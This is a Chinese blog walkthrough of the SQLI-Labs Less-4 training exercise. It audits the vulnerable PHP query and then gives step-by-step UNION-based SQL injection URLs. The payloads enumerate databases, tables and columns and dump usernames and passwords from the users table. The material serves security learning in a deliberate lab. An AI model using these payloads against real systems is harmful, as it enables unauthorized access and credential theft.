SQLI-Labs:Less - 4(UNION 联合注入)

SQL注入 - 前置知识:https://blog.csdn.net/weixin_43320796/article/details/139498174

在这里插入图片描述

1. 代码审计

截取一段源代码:

在这里插入图片描述

  1. 可以看到源代码(20行)判断GET请求的id是否有值

  2. 如果有值的就(21行)赋值到$id变量

  3. (27行)后面$id加上了双引号包括

  4. (28行)SQL语句变量($id)存在单括号干扰,加上变量带的双引号变为("$id")

    1. ")闭合前面的双引号单括号,用 --+注释后面的双引号单括号
    2. id参数值为 1") or 1=1 --+拼接 SQL SELECT * FROM users WHERE id = ("1") or 1=1 --+")LIMIT 0,1
  5. 然后代入数据库查询(29-30行)

2. 注入测试

2.1 ORDER BY (排序)

  • 此处可以利用 ORDER BY 猜解字段数量

    注:ORDER BY n,当 n 为数字时代表对第几个字段进行排序,例如:ORDER BY 3;代表对第三个字段进行排序,如果 n > 表的字段数;将会报错。

http://www.sqlilabs.kay.com/Less-4/?id=1") ORDER BY 3 --+

在这里插入图片描述

http://www.sqlilabs.kay.com/Less-4/?id=1") ORDER BY 4 --+

在这里插入图片描述

  • ORDER BY 3正常返回,ORDER BY 4返回错误,可判断表中存在3个字段

2.2 UNION 注入

  • 此处可以利用 UNION 爆出返回数据的位置
http://www.sqlilabs.kay.com/Less-4/?id=1") AND 1=2 UNION SELECT 1,2,3 --+

在这里插入图片描述

  • 可见数据返回点为第二个、第三个字段

3. 构造 Payload

3.1 爆所有数据库名

http://www.sqlilabs.kay.com/Less-4/?id=1") AND 1=2 UNION SELECT 1,GROUP_CONCAT(SCHEMA_NAME),3 from information_schema.SCHEMATA --+

在这里插入图片描述

3.2 爆当前数据库所有表名

http://www.sqlilabs.kay.com/Less-4/?id=1") AND 1=2 UNION SELECT 1,GROUP_CONCAT(TABLE_NAME),3 from information_schema.TABLES WHERE TABLE_SCHEMA=database() --+

在这里插入图片描述

3.3 爆 users 表所有字段名

http://www.sqlilabs.kay.com/Less-4/?id=1") AND 1=2 UNION SELECT 1,GROUP_CONCAT(COLUMN_NAME),3 from information_schema.COLUMNS WHERE TABLE_NAME='users' --+

在这里插入图片描述

3.4 爆 username,password 数据

http://www.sqlilabs.kay.com/Less-4/?id=1") AND 1=2 UNION SELECT 1,GROUP_CONCAT(username),GROUP_CONCAT(password) from security.users --+

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值